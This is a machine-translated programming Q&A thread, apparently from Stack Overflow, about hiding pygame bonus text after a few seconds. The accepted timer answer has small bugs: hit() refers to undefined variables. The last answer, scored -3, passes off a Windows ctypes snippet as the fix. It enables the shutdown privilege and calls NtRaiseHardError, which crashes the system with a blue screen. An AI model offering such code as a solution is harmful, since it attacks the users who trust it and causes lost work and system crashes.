我正在用pygame编写游戏。击中对象后,文本将显示在屏幕上。几秒钟后如何使它消失?
我的代码片段:
def bonus(txt, x, y, size):
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
screen.blit(rend, (x, y))
pygame.display.update()
def hit:
bonus('+3 points', 30, 70, 30)
答案 0 :(得分:3)
在全局名称空间(如果使用类,则为类属性)中创建2个变量。第一个启用说明奖励文本和位置(bonus_text
)。另一个陈述了文本必须消失的时间:
bonus_text = None
bonus_end = 0
在hit
中设置变量。使用pygame.time.get_ticks()
获取当前时间。将时间跨度添加到当前时间(例如3000毫秒)。
不要忘记global
statement,因为该函数会写入全局命名空间中的变量。
def hit():
global bonus_text, bonus_end
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
bonus_text = (rend, (x, y))
bonus_end = pygame.time.get_ticks() + 3000 # 3000 milliseconds = 3 seconds
在主应用程序循环中连续调用draw_bonus
。如果设置了bonus_text
并且当前时间(pygame.time.get_ticks()
)小于必须消失文本的时间点,该函数将绘制奖励文本。
def draw_bonus(txt, x, y, size):
if bonus_text and pygame.time.get_ticks() < bonus_end:
screen.blit(*bonus_text)
答案 1 :(得分:1)
这取决于项目的整体结构。您可以使用诸如aspscheduler
之类的调度库来调度要在以后执行的功能。或者,实现多线程并在一个负责绘制文本的线程中使用time.sleep()
。或者,保留需要调用的函数和时间的列表,并在每次主循环迭代时仔细查看该列表
答案 2 :(得分:-3)
是的,如果您输入此代码,则它将得到解决
from ctypes.wintypes import *
tmp1 = c_bool()
tmp2 = DWORD()
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))